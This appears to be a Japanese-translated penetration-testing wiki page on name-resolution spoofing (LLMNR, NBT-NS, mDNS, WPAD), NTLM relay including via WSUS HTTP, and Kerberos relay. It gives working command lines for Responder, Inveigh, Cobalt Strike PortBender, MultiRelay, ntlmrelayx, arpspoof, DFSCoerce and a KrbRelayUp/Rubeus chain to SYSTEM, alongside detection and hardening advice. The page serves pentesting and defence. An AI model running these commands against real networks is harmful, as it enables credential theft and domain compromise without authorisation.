Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 21 minutes

Network Protocols

Local Host Resolution Protocols

• LLMNR, NBT-NS, and mDNS:
• Microsoft や他の OS は、DNS が失敗した場合にローカル名解決のために LLMNR と NBT-NS を使用します。同様に、Apple や Linux 系は mDNS を使用します。
• これらのプロトコルは、UDP 上で認証なしにブロードキャストされる性質のため、傍受やなりすましに対して脆弱です。
• Responder は、これらのプロトコルを問い合わせるホストに対して偽の応答を送り、サービスになりすますために使用できます。
• Responder を使用したサービスなりすましの詳細は here を参照してください。

Web Proxy Auto-Discovery Protocol (WPAD)

• WPAD はブラウザがプロキシ設定を自動検出することを可能にします。
• 検出は DHCP、DNS によって行われ、DNS が失敗した場合は LLMNR や NBT-NS にフォールバックします。
• Responder は WPAD 攻撃を自動化し、クライアントを悪意ある WPAD サーバーに誘導することができます。

Responder for Protocol Poisoning

• Responder は LLMNR、NBT-NS、mDNS の問い合わせを毒するためのツールで、クエリの種類に応じて選択的に応答し、主に SMB サービスを標的とします。
• Kali Linux にプリインストールされており、/etc/responder/Responder.conf で設定可能です。
• Responder は画面上にキャプチャしたハッシュを表示し、/usr/share/responder/logs ディレクトリに保存します。
• IPv4 と IPv6 の両方をサポートします。
• Windows 版 Responder はこちらにあります: here.

Running Responder

• デフォルト設定で Responder を実行するには: responder -I <Interface>
• さらに積極的なプロービング（副作用の可能性あり）: responder -I <Interface> -P -r -v
• NTLMv1 チャレンジ/レスポンスを取得してクラックしやすくするためのテクニック: responder -I <Interface> --lm --disable-ess
• WPAD なりすましを有効化するには: responder -I <Interface> --wpad
• NetBIOS リクエストを攻撃者の IP に解決させ、認証プロキシを設定することが可能: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

• DHCP 応答を偽装することで、被害者のルーティング情報を恒久的に汚染でき、ARP poisoning よりもステルスな代替手段となります。
• ターゲットネットワークの構成を正確に把握していることが必要です。
• 攻撃の実行: ./Responder.py -I eth0 -Pdv
• この方法は NTLMv1/2 ハッシュを効果的にキャプチャできますが、ネットワーク障害を避けるため慎重な取り扱いが必要です。

Capturing Credentials with Responder

• Responder は上記プロトコルを用いてサービスになりすまし、ユーザーが偽装サービスに対して認証を試みた際に資格情報（通常は NTLMv2 Challenge/Response）をキャプチャします。
• NetNTLMv1 にダウングレードしたり ESS を無効化してクラックを容易にする試みが行われることがあります。

これらの手法は、適切な許可を得た上で合法かつ倫理的に実行し、ネットワークの妨害や不正アクセスを避けることが重要です。

Inveigh

Inveigh は Windows 環境向けに設計された pentesters や red team 向けのツールで、Responder と同様の機能を提供し、spoofing や man-in-the-middle 攻撃を実行します。ツールは PowerShell スクリプトから C# バイナリへと進化しており、主なバージョンとして Inveigh と InveighZero があります。詳細なパラメータと手順は wiki を参照してください。

Inveigh は PowerShell を通じて操作できます:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

または C# binary として実行:

Inveigh.exe

NTLM Relay Attack

この攻撃はSMB認証セッションを利用してターゲットマシンにアクセスし、成功するとsystem shellを取得します。主な前提条件は次の通りです：

• 認証を行うユーザーは、リレー先ホストに対してLocal Adminアクセスを持っている必要があります。
• SMB signingが無効になっている必要があります。

445 Port Forwarding and Tunneling

直接ネットワーク導入が不可能なシナリオでは、port 445のトラフィックを転送およびトンネリングする必要があります。PortBender のようなツールは、port 445のトラフィックを別のポートへリダイレクトするのに役立ちます。これは、driver loadingのためにLocal Adminアクセスが利用可能な場合に不可欠です。

PortBenderのCobalt Strikeでのセットアップと操作:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM Relay Attack のその他のツール

• Metasploit: プロキシ、ローカルおよびリモートホストの詳細を指定してセットアップする。
• smbrelayx: SMBセッションを中継し、コマンドを実行したりバックドアを展開したりするためのPythonスクリプト。
• MultiRelay: Responder スイートのツールで、特定のユーザーまたはすべてのユーザーを中継し、コマンドを実行したりハッシュをダンプしたりする。

必要に応じて各ツールはSOCKS proxy経由で動作するよう設定でき、間接的なネットワークアクセスしかない場合でも攻撃を可能にします。

MultiRelay の操作

MultiRelay は /usr/share/responder/tools ディレクトリから実行され、特定のIPやユーザーを標的にします。

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.

Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)

WSUS clients authenticate to their update server using NTLM over HTTP (8530) or HTTPS (8531). When HTTP is enabled, periodic client check-ins can be coerced or intercepted on the local segment and relayed with ntlmrelayx to LDAP/LDAPS/SMB or AD CS HTTP endpoints (ESC8) without cracking any hashes. This blends into normal update traffic and frequently yields machine-account authentications (HOST$).

何を確認するか

• GPO/registry の設定（HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate および ...\WindowsUpdate\AU）:
• WUServer (例: http://wsus.domain.local:8530)
• WUStatusServer (報告用 URL)
• UseWUServer (1 = WSUS; 0 = Microsoft Update)
• DetectionFrequencyEnabled と DetectionFrequency（時間）
• クライアントが HTTP 経由で使用する WSUS SOAP エンドポイント:
• /ClientWebService/client.asmx (承認)
• /ReportingWebService/reportingwebservice.asmx (ステータス)
• デフォルトポート: 8530/tcp HTTP、8531/tcp HTTPS

Reconnaissance

• 未認証
• リスナーをスキャン: nmap -sSVC -Pn --open -p 8530,8531 -iL
• L2 MITM を介して HTTP WSUS トラフィックをスニッフィングし、wsusniff.py でアクティブなクライアント／エンドポイントをログに記録（クライアントがあなたの TLS 証明書を信頼するようにできない限り HTTP のみ）。
• 認証済み
• SYSVOL GPO を MANSPIDER + regpol で解析して WSUS キーを抽出（wsuspider.sh ラッパーは WUServer/WUStatusServer/UseWUServer を要約します）。
• 大規模にエンドポイントをクエリ（NetExec）またはローカルで実行: nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay の手順

1. MITM のポジションを取る（同一 L2）— クライアントが WSUS サーバをあなたに解決するようにする（ARP/DNS poisoning、Bettercap、mitm6 など）。arpspoof の例: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

2. ポート 8530 をリレーリスナーへリダイレクト（任意、便利）: iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers

3. HTTP リスナー付きで ntlmrelayx を起動（HTTP リスナーには Impacket のサポートが必要; 下の PR を参照）: ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

その他の一般的なターゲット:

• SMB へリレー（signing オフの場合）で実行／ダンプ: -t smb://
• LDAPS へリレーしてディレクトリ変更（例: RBCD）: -t ldaps://
• AD CS Web enrollment（ESC8）へリレーして証明書を発行、その後 Schannel/PKINIT で認証: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server AD CS の追加的な濫用経路やツールについては、AD CS ページを参照:

AD CS Domain Escalation

4. クライアントのチェックインをトリガーするか、スケジュールを待つ。クライアント上で: wuauclt.exe /detectnow または Windows Update UI（Check for updates）を使用。

5. 認証済みの SOCKS セッション（-socks を使用した場合）や直接リレー結果をポストエクスプロイトに利用（LDAP の変更、SMB 操作、後での認証のための AD CS 証明書発行など）。

HTTPS の制約（8531）

• WSUS を HTTPS でパッシブに傍受することは、クライアントがあなたの証明書を信頼しない限り効果がありません。信頼できる証明書や別の TLS ブレイクがないと、WSUS の HTTPS トラフィックから NTLM ハンドシェイクを収集／リレーすることはできません。

備考

• WSUS は非推奨と発表されましたが、広く展開されており、HTTP (8530) は多くの環境で依然一般的です。
• 有用な補助ツール: wsusniff.py（HTTP WSUS チェックインの観察）、wsuspider.sh（GPO から WUServer/WUStatusServer を列挙）、大規模向け NetExec reg-query。
• Impacket は PR #2034 で ntlmrelayx の HTTP リスナーサポートを復活させました（元は PR #913 で追加）。

Force NTLM Logins

Windows では、いくつかの特権アカウントを任意のマシンへ認証させることができる場合があります。方法を学ぶには次のページを参照してください:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $ machine account). This works even though the SPNs’ service classes differ (e.g. CIFS/ → LDAP/) because the key that decrypts the ticket is the machine’s NT hash, not the SPN string itself and the SPN string is not part of the signature.

NTLM relay と異なり、ジャンプは同一ホストに限定されますが、LDAP に書き込み可能なプロトコルをターゲットにすると、Resource-Based Constrained Delegation (RBCD) や AD CS enrollment に連鎖して一発で NT AUTHORITY\SYSTEM を奪取することが可能です。

この攻撃の詳細については以下を参照してください:

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

• https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/

• 1. Kerberos basics

• チケットは SPN を所有するアカウントのパスワード派生キー で暗号化されます。
• AP-REQ 内の Authenticator は 5 分のタイムスタンプを持ち、そのウィンドウ内でのリプレイはサービスのキャッシュが重複を検出するまで有効です。
• Windows はチケット内の SPN 文字列が実際に接続したサービスと一致するかどうかをチェックすることが稀であり、通常 CIFS/HOST のチケットは LDAP/HOST 上でも正常に復号されます。

• 2. Kerberos をリレーするために満たすべき条件

1. 共有キー: ソースとターゲットの SPN が同じコンピュータアカウントに属している（Windows サーバではデフォルト）。
2. チャネル保護なし: SMB/LDAP の signing がオフ、HTTP/LDAPS の EPA がオフ。
3. 認証を傍受または強制できること: LLMNR/NBNS poison、DNS spoof、PetitPotam / DFSCoerce RPC、fake AuthIP、rogue DCOM など。
4. チケットのソースが既に使用されていないこと: 実パケットが到達する前にレースに勝つか、完全にブロックする必要がある。そうでないとサーバのリプレイキャッシュが Event 4649 を記録する。
5. 何らかの方法で通信の MitM を行えること（ドメインの DNS を変更できる DNSAmins グループの一員である、または被害者の HOST ファイルを変更できるなど）。

Kerberos Relay Steps

• 3.1 Recon the host

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

• 3.2 リレイリスナーを起動する

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp は KrbRelay → LDAP → RBCD → Rubeus → SCM bypass を1つのバイナリにまとめます。

• 3.3 Coerce Kerberos auth

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce は DC に Kerberos CIFS/DC01 チケットを送らせる。

• 3.4 AP-REQ を中継する

KrbRelay は SMB から GSS blob を抽出し、それを LDAP bind に再梱包して ldap://DC01 に転送する—認証が成功するのは 同じキー で復号できるからだ。

• 3.5 LDAP ➜ RBCD ➜ SYSTEM を悪用する

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

あなたは今、NT AUTHORITY\SYSTEM を所有しています。

さらに知っておくべき経路

トラブルシューティング

検出

• 同じソースから短時間内に CIFS/, HTTP/, LDAP/ に対する Event 4769 の急増。
• サービスでの Event 4649 はリプレイ検出を示す。
• 127.0.0.1 からの Kerberos ログオン（ローカル SCM へのリレー）は非常に疑わしい — KrbRelayUp ドキュメントの Sigma ルールでマップすること。
• msDS-AllowedToActOnBehalfOfOtherIdentity または msDS-KeyCredentialLink 属性の変更を監視する。

ハードニング

1. LDAP & SMB signing + EPA をすべてのサーバーで強制する。
2. SPNsを分離し、HTTPがCIFS/LDAPと同じアカウントにならないようにする。
3. 強制ベクターを修正する（PetitPotam KB5005413、DFS、AuthIP）。
4. ms-DS-MachineAccountQuota = 0 を設定して不正なコンピューター参加を防ぐ。
5. Event 4649 と予期しないループバック Kerberos ログオンに対してアラートを出す。

References

• https://intrinium.com/smb-relay-attack-tutorial/
• https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
• https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
• https://intrinium.com/smb-relay-attack-tutorial/
• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
• WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
• GoSecure – Abusing WSUS to enable NTLM relaying attacks
• Impacket PR #2034 – Restore HTTP server in ntlmrelayx
• Impacket PR #913 – HTTP relay support
• WSUScripts – wsusniff.py
• WSUScripts – wsuspider.sh
• MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
• Microsoft – WSUS deprecation announcement